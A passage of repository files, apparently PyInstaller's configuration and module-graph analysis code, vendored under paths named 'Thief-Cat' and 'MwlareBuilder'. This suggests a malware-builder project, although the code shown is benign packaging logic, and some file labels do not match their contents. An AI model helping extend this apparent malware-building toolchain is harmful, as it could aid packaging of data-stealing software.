            "On Linux, objdump is required. It is typically provided by the 'binutils' package "
            "installable via your Linux distribution's package manager."
        )

ThiefCat_assets/MwlareBuilder/compat.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
This module holds run-time PyInstaller configuration.

Variable CONF is a dict() with all configuration options that are necessary for the build phase. Build phase is done by
passing .spec file to exec() function. CONF variable is the only way how to pass arguments to exec() and how to avoid
using 'global' variables.

NOTE: Having 'global' variables does not play well with the test suite because it does not provide isolated environments
for tests. Some tests might fail in this case.

NOTE: The 'CONF' dict() is cleaned after building phase to not interfere with any other possible test.

To pass any arguments to build phase, just do:

    from PyInstaller.config import CONF
    CONF['my_var_name'] = my_value

And to use this variable in the build phase:

    from PyInstaller.config import CONF
    foo = CONF['my_var_name']


This is the list of known variables. (Please update it if necessary.)

cachedir
hiddenimports
noconfirm
pathex
ui_admin
ui_access
upx_available
upx_dir
workpath

tests_modgraph  - cached PyiModuleGraph object to speed up tests

code_cache - dictionary associating `Analysis.pure` list instances with code cache dictionaries. Used by PYZ writer.
"""

# NOTE: Do not import other PyInstaller modules here. Just define constants here.

CONF = {
    # Unit tests require this key to exist.
    'pathex': [],
}

ThiefCat_assets/MwlareBuilder/config.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
Configure PyInstaller for the current Python installation.
"""

import os
import subprocess

from PyInstaller import compat
from PyInstaller import log as logging

logger = logging.getLogger(__name__)


def _check_upx_availability(upx_dir):
    logger.debug('Testing UPX availability ...')

    upx_exe = "upx"
    if upx_dir:
        upx_exe = os.path.normpath(os.path.join(upx_dir, upx_exe))

    # Check if we can call `upx -V`.
    try:
        output = subprocess.check_output(
            [upx_exe, '-V'],
            stdin=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            universal_newlines=True,
        )
    except Exception:
        logger.debug('UPX is not available.')
        return False

    # Read the first line to display version string
    try:
        version_string = output.splitlines()[0]
    except IndexError:
        version_string = 'version string unavailable'

    logger.debug('UPX is available: %s', version_string)
    return True


def _get_PyInstaller_cache_dir():
    old_cache_dir = None
    if compat.getenv('PyInstaller_CONFIG_DIR'):
        cache_dir = compat.getenv('PyInstaller_CONFIG_DIR')
    elif compat.is_win:
        cache_dir = compat.getenv('LOCALAPPDATA')
        if not cache_dir:
            cache_dir = os.path.expanduser('~\\Application Data')
    elif compat.is_darwin:
        cache_dir = os.path.expanduser('~/Library/Application Support')
    else:
        # According to XDG specification: http://standards.freedesktop.org/basedir-spec/basedir-spec-latest.html
        old_cache_dir = compat.getenv('XDG_DATA_HOME')
        if not old_cache_dir:
            old_cache_dir = os.path.expanduser('~/.local/share')
        cache_dir = compat.getenv('XDG_CACHE_HOME')
        if not cache_dir:
            cache_dir = os.path.expanduser('~/.cache')
    cache_dir = os.path.join(cache_dir, 'PyInstaller')
    # Move old cache-dir, if any, to new location.
    if old_cache_dir and not os.path.exists(cache_dir):
        old_cache_dir = os.path.join(old_cache_dir, 'PyInstaller')
        if os.path.exists(old_cache_dir):
            parent_dir = os.path.dirname(cache_dir)
            if not os.path.exists(parent_dir):
                os.makedirs(parent_dir)
            os.rename(old_cache_dir, cache_dir)
    return cache_dir


def get_config(upx_dir=None):
    config = {}

    config['cachedir'] = _get_PyInstaller_cache_dir()
    config['upx_dir'] = upx_dir

    # Disable UPX on non-Windows. Using UPX (3.96) on modern Linux shared libraries (for example, the python3.x.so
    # shared library) seems to result in segmentation fault when they are dlopen'd. This happens in recent versions
    # of Fedora and Ubuntu linux, as well as in Alpine containers. On macOS, UPX (3.96) fails with
    # UnknownExecutableFormatException on most .dylibs (and interferes with code signature on other occasions). And
    # even when it would succeed, compressed libraries cannot be (re)signed due to failed strict validation.
    upx_available = _check_upx_availability(upx_dir)
    if upx_available:
        if compat.is_win or compat.is_cygwin:
            logger.info("UPX is available and will be used if enabled on build targets.")
        elif os.environ.get("PyInstaller_FORCE_UPX", "0") != "0":
            logger.warning(
                "UPX is available and force-enabled on platform with known compatibility problems - use at own risk!"
            )
        else:
            upx_available = False
            logger.info("UPX is available but is disabled on non-Windows due to known compatibility problems.")
    config['upx_available'] = upx_available

    return config

ThiefCat_assets/MwlareBuilder/configure.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
Define a modified ModuleGraph that can return its contents as a TOC and in other ways act like the old ImpTracker.
TODO: This class, along with TOC and Tree, should be in a separate module.

For reference, the ModuleGraph node types and their contents:

 nodetype         identifier        filename

 Script           full path to .py  full path to .py
 SourceModule     basename          full path to .py
 BuiltinModule    basename          None
 CompiledModule   basename          full path to .pyc
 Extension        basename          full path to .so
 MissingModule    basename          None
 Package          basename          full path to __init__.py
        packagepath is ['path to package']
        globalnames is set of global names __init__.py defines
 ExtensionPackage basename          full path to __init__.{so,dll}
        packagepath is ['path to package']

The main extension here over ModuleGraph is a method to extract nodes from the flattened graph and return them as a
TOC, or added to a TOC. Other added methods look up nodes by identifier and return facts about them, replacing what
the old ImpTracker list could do.
"""

import ast
import os
import re
import sys
import traceback
from collections import defaultdict
from copy import deepcopy

from PyInstaller import HOMEPATH, PACKAGEPATH
from PyInstaller import log as logging
from PyInstaller.building.utils import add_suffix_to_extension
from PyInstaller.compat import (
    BAD_MODULE_TYPES, BINARY_MODULE_TYPES, MODULE_TYPES_TO_TOC_DICT, PURE_PYTHON_MODULE_TYPES, PY3_BASE_MODULES,
    VALID_MODULE_TYPES, importlib_load_source, is_win
)
from PyInstaller.depend import bytecode
from PyInstaller.depend.imphook import AdditionalFilesCache, ModuleHookCache
from PyInstaller.depend.imphookapi import (PreFindModulePathAPI, PreSafeImportModuleAPI)
from PyInstaller.lib.modulegraph.find_modules import get_implies
from PyInstaller.lib.modulegraph.modulegraph import ModuleGraph, DEFAULT_IMPORT_LEVEL, ABSOLUTE_IMPORT_LEVEL
from PyInstaller.log import DEBUG, INFO, TRACE
from PyInstaller.utils.hooks import collect_submodules, is_package

logger = logging.getLogger(__name__)


class PyiModuleGraph(ModuleGraph):
    """
    Directed graph whose nodes represent modules and edges represent dependencies between these modules.

    This high-level subclass wraps the lower-level `ModuleGraph` class with support for graph and runtime hooks.
    While each instance of `ModuleGraph` represents a set of disconnected trees, each instance of this class *only*
    represents a single connected tree whose root node is the Python script originally passed by the user on the
    command line. For that reason, while there may (and typically do) exist more than one `ModuleGraph` instance,
    there typically exists only a singleton instance of this class.

    Attributes
    ----------
    _hooks : ModuleHookCache
        Dictionary mapping the fully-qualified names of all modules with normal (post-graph) hooks to the absolute paths
        of such hooks. See the the `_find_module_path()` method for details.
    _hooks_pre_find_module_path : ModuleHookCache
        Dictionary mapping the fully-qualified names of all modules with pre-find module path hooks to the absolute
        paths of such hooks. See the the `_find_module_path()` method for details.
    _hooks_pre_safe_import_module : ModuleHookCache
        Dictionary mapping the fully-qualified names of all modules with pre-safe import module hooks to the absolute
        paths of such hooks. See the `_safe_import_module()` method for details.
    _user_hook_dirs : list
        List of the absolute paths of all directories containing user-defined hooks for the current application.
    _excludes : list
        List of module names to be excluded when searching for dependencies.
    _additional_files_cache : AdditionalFilesCache
        Cache of all external dependencies (e.g., binaries, datas) listed in hook scripts for imported modules.
    _module_collection_mode : dict
        A dictionary of module/package collection mode settings set by hook scripts for their modules.
    _base_modules: list
        Dependencies for `base_library.zip` (which remain the same for every executable).
    """

    # Note: these levels are completely arbitrary and may be adjusted if needed.
    LOG_LEVEL_MAPPING = {0: INFO, 1: DEBUG, 2: TRACE, 3: TRACE, 4: TRACE}

    def __init__(self, pyi_homepath, user_hook_dirs=(), excludes=(), **kwargs):
        super().__init__(excludes=excludes, **kwargs)
        # Homepath to the place where is PyInstaller located.
        self._homepath = pyi_homepath
        # modulegraph Node for the main python script that is analyzed by PyInstaller.
        self._top_script_node = None

        # Absolute paths of all user-defined hook directories.
        self._excludes = excludes
        self._reset(user_hook_dirs)
        self._analyze_base_modules()

    def _reset(self, user_hook_dirs):
        """
        Reset for another set of scripts. This is primary required for running the test-suite.
        """
        self._top_script_node = None
        self._additional_files_cache = AdditionalFilesCache()
        self._module_collection_mode = dict()
        # Command line, Entry Point, and then builtin hook dirs.
        self._user_hook_dirs = [*user_hook_dirs, os.path.join(PACKAGEPATH, 'hooks')]
        # Hook-specific lookup tables. These need to reset when reusing cached PyiModuleGraph to avoid hooks to refer to
        # files or data from another test-case.
        logger.info('Caching module graph hooks...')
        self._hooks = self._cache_hooks("")
        self._hooks_pre_safe_import_module = self._cache_hooks('pre_safe_import_module')
        self._hooks_pre_find_module_path = self._cache_hooks('pre_find_module_path')

        # Search for run-time hooks in all hook directories.
        self._available_rthooks = defaultdict(list)
        for uhd in self._user_hook_dirs:
            uhd_path = os.path.abspath(os.path.join(uhd, 'rthooks.dat'))
            try:
                with open(uhd_path, 'r', encoding='utf-8') as f:
                    rthooks = ast.literal_eval(f.read())
            except FileNotFoundError:
                # Ignore if this hook path doesn't have run-time hooks.
                continue
            except Exception as e:
                logger.error('Unable to read run-time hooks from %r: %s' % (uhd_path, e))
                continue

            self._merge_rthooks(rthooks, uhd, uhd_path)

        # Convert back to a standard dict.
        self._available_rthooks = dict(self._available_rthooks)

    def _merge_rthooks(self, rthooks, uhd, uhd_path):
        """
        The expected data structure for a run-time hook file is a Python dictionary of type ``Dict[str, List[str]]``,
        where the dictionary keys are module names and the sequence strings are Python file names.

        Check then merge this data structure, updating the file names to be absolute.
        """
        # Check that the root element is a dict.
        assert isinstance(rthooks, dict), 'The root element in %s must be a dict.' % uhd_path
        for module_name, python_file_name_list in rthooks.items():
            # Ensure the key is a string.
            assert isinstance(module_name, str), \
                '%s must be a dict whose keys are strings; %s is not a string.' % (uhd_path, module_name)
            # Ensure the value is a list.
            assert isinstance(python_file_name_list, list), \
                'The value of %s key %s must be a list.' % (uhd_path, module_name)
            if module_name in self._available_rthooks:
                logger.warning(
                    'Runtime hooks for %s have already been defined. Skipping the runtime hooks for %s that are '
                    'defined in %s.', module_name, module_name, os.path.join(uhd, 'rthooks')
                )
                # Skip this module
                continue
            # Merge this with existing run-time hooks.
            for python_file_name in python_file_name_list:
                # Ensure each item in the list is a string.
                assert isinstance(python_file_name, str), \
                    '%s key %s, item %r must be a string.' % (uhd_path, module_name, python_file_name)
                # Transform it into an absolute path.
                abs_path = os.path.join(uhd, 'rthooks', python_file_name)
                # Make sure this file exists.
                assert os.path.exists(abs_path), \
                    'In %s, key %s, the file %r expected to be located at %r does not exist.' % \
                    (uhd_path, module_name, python_file_name, abs_path)
                # Merge it.
                self._available_rthooks[module_name].append(abs_path)

    @staticmethod
    def _findCaller(*args, **kwargs):
        # Used to add an additional stack-frame above logger.findCaller. findCaller expects the caller to be three
        # stack-frames above itself.
        return logger.findCaller(*args, **kwargs)

    def msg(self, level, s, *args):
        """
        Print a debug message with the given level.

        1. Map the msg log level to a logger log level.
        2. Generate the message format (the same format as ModuleGraph)
        3. Find the caller, which findCaller expects three stack-frames above itself:
            [3] caller -> [2] msg (here) -> [1] _findCaller -> [0] logger.findCaller
        4. Create a logRecord with the caller's information.
        5. Handle the logRecord.
        """
        try:
            level = self.LOG_LEVEL_MAPPING[level]
        except KeyError:
            return
        if not logger.isEnabledFor(level):
            return

        msg = "%s %s" % (s, ' '.join(map(repr, args)))

        try:
            fn, lno, func, sinfo = self._findCaller()
        except ValueError:  # pragma: no cover
            fn, lno, func, sinfo = "(unknown file)", 0, "(unknown function)", None
        record = logger.makeRecord(logger.name, level, fn, lno, msg, [], None, func, None, sinfo)

        logger.handle(record)

    # Set logging methods so that the stack is correctly detected.
    msgin = msg
    msgout = msg

    def _cache_hooks(self, hook_type):
        """
        Get a cache of all hooks of the passed type.

        The cache will include all official hooks defined by the PyInstaller codebase _and_ all unofficial hooks
        defined for the current application.

        Parameters
        ----------
        hook_type : str
            Type of hooks to be cached, equivalent to the basename of the subpackage of the `PyInstaller.hooks`
            package containing such hooks (e.g., `post_create_package` for post-create package hooks).
        """
        # Cache of this type of hooks.
        hook_dirs = []
        for user_hook_dir in self._user_hook_dirs:
            # Absolute path of the user-defined subdirectory of this hook type. If this directory exists, add it to the
            # list to be cached.
            user_hook_type_dir = os.path.join(user_hook_dir, hook_type)
            if os.path.isdir(user_hook_type_dir):
                hook_dirs.append(user_hook_type_dir)

        return ModuleHookCache(self, hook_dirs)

    def _analyze_base_modules(self):
        """
        Analyze dependencies of the the modules in base_library.zip.
        """
        logger.info('Analyzing base_library.zip ...')
        required_mods = []
        # Collect submodules from required modules in base_library.zip.
        for m in PY3_BASE_MODULES:
            if is_package(m):
                required_mods += collect_submodules(m)
            else:
                required_mods.append(m)
        # Initialize ModuleGraph.
        self._base_modules = [mod for req in required_mods for mod in self.import_hook(req)]

    def add_script(self, pathname, caller=None):
        """
        Wrap the parent's 'run_script' method and create graph from the first script in the analysis, and save its
        node to use as the "caller" node for all others. This gives a connected graph rather than a collection of
        unrelated trees.
        """
        if self._top_script_node is None:
            # Remember the node for the first script.
            try:
                self._top_script_node = super().add_script(pathname)
            except SyntaxError:
                print("\nSyntax error in", pathname, file=sys.stderr)
                formatted_lines = traceback.format_exc().splitlines(True)
                print(*formatted_lines[-4:], file=sys.stderr)
                sys.exit(1)
            # Create references from the top script to the base_modules in graph.
            for node in self._base_modules:
                self.add_edge(self._top_script_node, node)
            # Return top-level script node.
            return self._top_script_node
        else:
            if not caller:
                # Defaults to as any additional script is called from the top-level script.
                caller = self._top_script_node
            return super().add_script(pathname, caller=caller)

    def process_post_graph_hooks(self, analysis):
        """
        For each imported module, run this module's post-graph hooks if any.

        Parameters
        ----------
        analysis: build_main.Analysis
            The Analysis that calls the hooks

        """
        # For each iteration of the infinite "while" loop below:
        #
        # 1. All hook() functions defined in cached hooks for imported modules are called. This may result in new
        #    modules being imported (e.g., as hidden imports) that were ignored earlier in the current iteration: if
        #    this is the case, all hook() functions defined in cached hooks for these modules will be called by the next
        #    iteration.
        # 2. All cached hooks whose hook() functions were called are removed from this cache. If this cache is empty, no
        #    hook() functions will be called by the next iteration and this loop will be terminated.
        # 3. If no hook() functions were called, this loop is terminated.
        logger.info('Processing module hooks...')
        while True:
            # Set of the names of all imported modules whose post-graph hooks are run by this iteration, preventing the
            # next iteration from re- running these hooks. If still empty at the end of this iteration, no post-graph
            # hooks were run; thus, this loop will be terminated.
            hooked_module_names = set()

            # For each remaining hookable module and corresponding hooks...
            for module_name, module_hooks in self._hooks.items():
                # Graph node for this module if imported or "None" otherwise.
                module_node = self.find_node(module_name, create_nspkg=False)

                # If this module has not been imported, temporarily ignore it. This module is retained in the cache, as
                # a subsequently run post-graph hook could import this module as a hidden import.
                if module_node is None:
                    continue

                # If this module is unimportable, permanently ignore it.
                if type(module_node).__name__ not in VALID_MODULE_TYPES:
                    hooked_module_names.add(module_name)
                    continue

                # For each hook script for this module...
                for module_hook in module_hooks:
                    # Run this script's post-graph hook.
                    module_hook.post_graph(analysis)

                    # Cache all external dependencies listed by this script after running this hook, which could add
                    # dependencies.
                    self._additional_files_cache.add(module_name, module_hook.binaries, module_hook.datas)

                    # Update package collection mode settings.
                    self._module_collection_mode.update(module_hook.module_collection_mode)

                # Prevent this module's hooks from being run again.
                hooked_module_names.add(module_name)

            # Prevent all post-graph hooks run above from being run again by the next iteration.
            self._hooks.remove_modules(*hooked_module_names)

            # If no post-graph hooks were run, terminate iteration.
            if not hooked_module_names:
                break

    def _find_all_excluded_imports(self, module_name):
        """
        Collect excludedimports from the hooks of the specified module and all its parents.
        """
        excluded_imports = set()
        while module_name:
            # Gather excluded imports from hook(s) belonging to the module
            for module_hook in self._hooks.get(module_name, []):
                excluded_imports.update(module_hook.excludedimports)
            # Change module name to the module's parent name
            module_name = module_name.rpartition('.')[0]
        return excluded_imports

    def _safe_import_hook(
        self, target_module_partname, source_module, target_attr_names, level=DEFAULT_IMPORT_LEVEL, edge_attr=None
    ):
        if source_module is not None:
            # Gather all excluded imports for the referring modules, as well as its parents.
            # For example, we want the excluded imports specified by hook for PIL to be also applied when the referring
            # module is its submodule, PIL.Image.
            excluded_imports = self._find_all_excluded_imports(source_module.identifier)

            # Apply extra processing only if we have any excluded-imports rules
            if excluded_imports:
                # Resolve the base module name. Level can be ABSOLUTE_IMPORT_LEVEL (= 0) for absolute imports, or an
                # integer indicating the relative level. We do not use equality comparison just in case we ever happen
                # to get ABSOLUTE_OR_RELATIVE_IMPORT_LEVEL (-1), which is a remnant of python2 days.
                if level > ABSOLUTE_IMPORT_LEVEL:
                    if target_module_partname:
                        base_module_name = source_module.identifier + '.' + target_module_partname
                    else:
                        base_module_name = source_module.identifier

                    # Adjust the base module name based on level
                    if level > 1:
                        base_module_name = '.'.join(base_module_name.split('.')[:-(level - 1)])
                else:
                    base_module_name = target_module_partname

                def _exclude_module(module_name, excluded_imports):
                    """
                    Helper for checking whether given module should be excluded.
                    Returns the name of exclusion rule if module should be excluded, None otherwise.
                    """
                    module_name_parts = module_name.split('.')
                    for excluded_import in excluded_imports:
                        excluded_import_parts = excluded_import.split('.')
                        match = module_name_parts[:len(excluded_import_parts)] == excluded_import_parts
                        if match:
                            return excluded_import
                    return None

                # First, check if base module name is to be excluded.
                # This covers both basic `import a` and `import a.b.c`, as well as `from d import e, f` where base
                # module `d` is excluded.
                excluded_import_rule = _exclude_module(base_module_name, excluded_imports)
                if excluded_import_rule:
                    logger.debug(
                        "Suppressing import of %r from module %r due to excluded import %r specified in a hook for %r "
                        "(or its parent package(s)).", base_module_name, source_module.identifier, excluded_import_rule,
                        source_module.identifier
                    )
                    return []

                # If we have target attribute names, check each of them, and remove excluded ones from the
                # `target_attr_names` list.
                if target_attr_names:
                    filtered_target_attr_names = []
                    for target_attr_name in target_attr_names:
                        submodule_name = base_module_name + '.' + target_attr_name
                        excluded_import_rule = _exclude_module(submodule_name, excluded_imports)
                        if excluded_import_rule:
                            logger.debug(
                                "Suppressing import of %r from module %r due to excluded import %r specified in a hook "
                                "for %r (or its parent package(s)).", submodule_name, source_module.identifier,
                                excluded_import_rule, source_module.identifier
                            )
                        else:
                            filtered_target_attr_names.append(target_attr_name)

                    # Swap with filtered target attribute names list; if no elements remain after the filtering, pass
                    # None...
                    target_attr_names = filtered_target_attr_names or None

        return super()._safe_import_hook(target_module_partname, source_module, target_attr_names, level, edge_attr)

    def _safe_import_module(self, module_basename, module_name, parent_package):
        """
        Create a new graph node for the module with the passed name under the parent package signified by the passed
        graph node.

        This method wraps the superclass method with support for pre-import module hooks. If such a hook exists for
        this module (e.g., a script `PyInstaller.hooks.hook-{module_name}` containing a function
        `pre_safe_import_module()`), that hook will be run _before_ the superclass method is called.

        Pre-Safe-Import-Hooks are performed just *prior* to importing the module. When running the hook, the modules
        parent package has already been imported and ti's `__path__` is set up. But the module is just about to be
        imported.

        See the superclass method for description of parameters and return value.
        """
        # If this module has pre-safe import module hooks, run these first.
        if module_name in self._hooks_pre_safe_import_module:
            # For the absolute path of each such hook...
            for hook in self._hooks_pre_safe_import_module[module_name]:
                # Dynamically import this hook as a fabricated module.
                logger.info('Processing pre-safe import module hook %s from %r.', module_name, hook.hook_filename)
                hook_module_name = 'PyInstaller_hooks_pre_safe_import_module_' + module_name.replace('.', '_')
                hook_module = importlib_load_source(hook_module_name, hook.hook_filename)

                # Object communicating changes made by this hook back to us.
                hook_api = PreSafeImportModuleAPI(
                    module_graph=self,
                    module_basename=module_basename,
                    module_name=module_name,
                    parent_package=parent_package,
                )

                # Run this hook, passed this object.
                if not hasattr(hook_module, 'pre_safe_import_module'):
                    raise NameError('pre_safe_import_module() function not defined by hook %r.' % hook_module)
                hook_module.pre_safe_import_module(hook_api)

                # Respect method call changes requested by this hook.
                module_basename = hook_api.module_basename
                module_name = hook_api.module_name

            # Prevent subsequent calls from rerunning these hooks.
            del self._hooks_pre_safe_import_module[module_name]

        # Call the superclass method.
        return super()._safe_import_module(module_basename, module_name, parent_package)

    def _find_module_path(self, fullname, module_name, search_dirs):
        """
        Get a 3-tuple detailing the physical location of the module with the passed name if that module exists _or_
        raise `ImportError` otherwise.

        This method wraps the superclass method with support for pre-find module path hooks. If such a hook exists
        for this module (e.g., a script `PyInstaller.hooks.hook-{module_name}` containing a function
        `pre_find_module_path()`), that hook will be run _before_ the superclass method is called.

        See superclass method for parameter and return value descriptions.
        """
        # If this module has pre-find module path hooks, run these first.
        if fullname in self._hooks_pre_find_module_path:
            # For the absolute path of each such hook...
            for hook in self._hooks_pre_find_module_path[fullname]:
                # Dynamically import this hook as a fabricated module.
                logger.info('Processing pre-find module path hook %s from %r.', fullname, hook.hook_filename)
                hook_fullname = 'PyInstaller_hooks_pre_find_module_path_' + fullname.replace('.', '_')
                hook_module = importlib_load_source(hook_fullname, hook.hook_filename)

                # Object communicating changes made by this hook back to us.
                hook_api = PreFindModulePathAPI(
                    module_graph=self,
                    module_name=fullname,
                    search_dirs=search_dirs,
                )

                # Run this hook, passed this object.
                if not hasattr(hook_module, 'pre_find_module_path'):
                    raise NameError('pre_find_module_path() function not defined by hook %r.' % hook_module)
                hook_module.pre_find_module_path(hook_api)

                # Respect method call changes requested by this hook.
                search_dirs = hook_api.search_dirs

            # Prevent subsequent calls from rerunning these hooks.
            del self._hooks_pre_find_module_path[fullname]

        # Call the superclass method.
        return super()._find_module_path(fullname, module_name, search_dirs)

    def get_code_objects(self):
        """
        Get code objects from ModuleGraph for pure Python modules. This allows to avoid writing .pyc/pyo files to hdd
        at later stage.

        :return: Dict with module name and code object.
        """
        code_dict = {}
        mod_types = PURE_PYTHON_MODULE_TYPES
        for node in self.iter_graph(start=self._top_script_node):
            # TODO This is terrible. To allow subclassing, types should never be directly compared. Use isinstance()
            # instead, which is safer, simpler, and accepts sets. Most other calls to type() in the codebase should also
            # be refactored to call isinstance() instead.

            # get node type e.g. Script
            mg_type = type(node).__name__
            if mg_type in mod_types:
                if node.code:
                    code_dict[node.identifier] = node.code
        return code_dict

    def _make_toc(self, typecode=None):
        """
        Return the name, path and type of selected nodes as a TOC. The selection is determined by the given list
        of PyInstaller TOC typecodes. If that list is empty we return the complete flattened graph as a TOC with the
        ModuleGraph note types in place of typecodes -- meant for debugging only. Normally we return ModuleGraph
        nodes whose types map to the requested PyInstaller typecode(s) as indicated in the MODULE_TYPES_TO_TOC_DICT.

        We use the ModuleGraph (really, ObjectGraph) flatten() method to scan all the nodes. This is patterned after
        ModuleGraph.report().
        """
        # Construct regular expression for matching modules that should be excluded because they are bundled in
        # base_library.zip.
        #
        # This expression matches the base module name, optionally followed by a period and then any number of
        # characters. This matches the module name and the fully qualified names of any of its submodules.
        regex_str = '(' + '|'.join(PY3_BASE_MODULES) + r')(\.|$)'
        module_filter = re.compile(regex_str)

        toc = list()
        for node in self.iter_graph(start=self._top_script_node):
            # Skip modules that are in base_library.zip.
            if module_filter.match(node.identifier):
                continue
            entry = self._node_to_toc(node, typecode)
            # Append the entry. We do not check for duplicates here; the TOC normalization is left to caller.
            # However, as entries are obtained from modulegraph, there should not be any duplicates at this stage.
            if entry is not None:
                toc.append(entry)
        return toc

    def make_pure_toc(self):
        """
        Return all pure Python modules formatted as TOC.
        """
        # PyInstaller should handle special module types without code object.
        return self._make_toc(PURE_PYTHON_MODULE_TYPES)

    def make_binaries_toc(self):
        """
        Return all binary Python modules formatted as TOC.
        """
        return self._make_toc(BINARY_MODULE_TYPES)

    def make_missing_toc(self):
        """
        Return all MISSING Python modules formatted as TOC.
        """
        return self._make_toc(BAD_MODULE_TYPES)

    @staticmethod
    def _node_to_toc(node, typecode=None):
        # TODO This is terrible. Everything in Python has a type. It is nonsensical to even speak of "nodes [that] are
        # not typed." How would that even occur? After all, even "None" has a type! (It is "NoneType", for the curious.)
        # Remove this, please.

        # Get node type, e.g., Script
        mg_type = type(node).__name__
        assert mg_type is not None

        if typecode and mg_type not in typecode:
            # Type is not a to be selected one, skip this one
            return None
        # Extract the identifier and a path if any.
        if mg_type == 'Script':
            # for Script nodes only, identifier is a whole path
            (name, ext) = os.path.splitext(node.filename)
            name = os.path.basename(name)
        elif mg_type == 'ExtensionPackage':
            # Package with __init__ module being an extension module. This needs to end up as e.g. 'mypkg/__init__.so'.
            # Convert the packages name ('mypkg') into the module name ('mypkg.__init__') *here* to keep special cases
            # away elsewhere (where the module name is converted to a filename).
            name = node.identifier + ".__init__"
        else:
            name = node.identifier
        path = node.filename if node.filename is not None else ''
        # Ensure name is really 'str'. Module graph might return object type 'modulegraph.Alias' which inherits fromm
        # 'str'. But 'marshal.dumps()' function is able to marshal only 'str'. Otherwise on Windows PyInstaller might
        # fail with message like:
        #   ValueError: unmarshallable object
        name = str(name)
        # Translate to the corresponding TOC typecode.
        toc_type = MODULE_TYPES_TO_TOC_DICT[mg_type]
        return name, path, toc_type

    def nodes_to_toc(self, nodes):
        """
        Given a list of nodes, create a TOC representing those nodes. This is mainly used to initialize a TOC of
        scripts with the ones that are runtime hooks. The process is almost the same as _make_toc(), but the caller
        guarantees the nodes are valid, so minimal checking.
        """
        return [self._node_to_toc(node) for node in nodes]

    # Return true if the named item is in the graph as a BuiltinModule node. The passed name is a basename.
    def is_a_builtin(self, name):
        node = self.find_node(name)
        if node is None:
            return False
        return type(node).__name__ == 'BuiltinModule'

    def get_importers(self, name):
        """
        List all modules importing the module with the passed name.

        Returns a list of (identifier, DependencyIinfo)-tuples. If the names module has not yet been imported, this
        method returns an empty list.

        Parameters
        ----------
        name : str
            Fully-qualified name of the module to be examined.

        Returns
        ----------
        list
            List of (fully-qualified names, DependencyIinfo)-tuples of all modules importing the module with the passed
            fully-qualified name.

        """
        def get_importer_edge_data(importer):
            edge = self.graph.edge_by_node(importer, name)
            # edge might be None in case an AliasModule was added.
            if edge is not None:
                return self.graph.edge_data(edge)

        node = self.find_node(name)
        if node is None:
            return []
        _, importers = self.get_edges(node)
        importers = (importer.identifier for importer in importers if importer is not None)
        return [(importer, get_importer_edge_data(importer)) for importer in importers]

    # TODO: create a class from this function.
    def analyze_runtime_hooks(self, custom_runhooks):
        """
        Analyze custom run-time hooks and run-time hooks implied by found modules.

        :return : list of Graph nodes.
        """
        rthooks_nodes = []
        logger.info('Analyzing run-time hooks ...')
        # Process custom runtime hooks (from --runtime-hook options). The runtime hooks are order dependent. First hooks
        # in the list are executed first. Put their graph nodes at the head of the priority_scripts list PyInstaller
        # defined rthooks and thus they are executed first.
        if custom_runhooks:
            for hook_file in custom_runhooks:
                logger.info("Including custom run-time hook %r", hook_file)
                hook_file = os.path.abspath(hook_file)
                # Not using "try" here because the path is supposed to exist, if it does not, the raised error will
                # explain.
                rthooks_nodes.append(self.add_script(hook_file))

        # Find runtime hooks that are implied by packages already imported. Get a temporary TOC listing all the scripts
        # and packages graphed so far. Assuming that runtime hooks apply only to modules and packages.
        temp_toc = self._make_toc(VALID_MODULE_TYPES)
        for (mod_name, path, typecode) in temp_toc:
            # Look if there is any run-time hook for given module.
            if mod_name in self._available_rthooks:
                # There could be several run-time hooks for a module.
                for abs_path in self._available_rthooks[mod_name]:
                    logger.info("Including run-time hook %r", abs_path)
                    rthooks_nodes.append(self.add_script(abs_path))

        return rthooks_nodes

    def add_hiddenimports(self, module_list):
        """
        Add hidden imports that are either supplied as CLI option --hidden-import=MODULENAME or as dependencies from
        some PyInstaller features when enabled (e.g., crypto feature).
        """
        assert self._top_script_node is not None
        # Analyze the script's hidden imports (named on the command line).
        for modnm in module_list:
            node = self.find_node(modnm)
            if node is not None:
                logger.debug('Hidden import %r already found', modnm)
            else:
                logger.info("Analyzing hidden import %r", modnm)
                # ModuleGraph throws ImportError if import not found.
                try:
                    nodes = self.import_hook(modnm)
                    assert len(nodes) == 1
                    node = nodes[0]
                except ImportError:
                    logger.error("Hidden import %r not found", modnm)
                    continue
            # Create references from the top script to the hidden import, even if found otherwise. Do not waste time
            # checking whether it is actually added by this (test-) script.
            self.add_edge(self._top_script_node, node)

    def get_code_using(self, module: str) -> dict:
        """
        Find modules that import a given **module**.
        """
        co_dict = {}
        pure_python_module_types = PURE_PYTHON_MODULE_TYPES | {
            'Script',
        }
        node = self.find_node(module)
        if node:
            referrers = self.incoming(node)
            for r in referrers:
                # Under python 3.7 and earlier, if `module` is added to hidden imports, one of referrers ends up being
                # None, causing #3825. Work around it.
                if r is None:
                    continue
                # Ensure that modulegraph objects have 'code' attribute.
                if type(r).__name__ not in pure_python_module_types:
                    continue
                identifier = r.identifier
                if identifier == module or identifier.startswith(module + '.'):
                    # Skip self references or references from `modules`'s own submodules.
                    continue
                # The code object may be None if referrer ends up shadowed by eponymous directory that ends up treated
                # as a namespace package. See #6873 for an example.
                if r.code is None:
                    continue
                co_dict[r.identifier] = r.code
        return co_dict

    def metadata_required(self) -> set:
        """
        Collect metadata for all packages that appear to need it.
        """

        # List every function that we can think of which is known to require metadata.
        out = set()

        out |= self._metadata_from(
            "pkg_resources",
            ["get_distribution"],  # Requires metadata for one distribution.
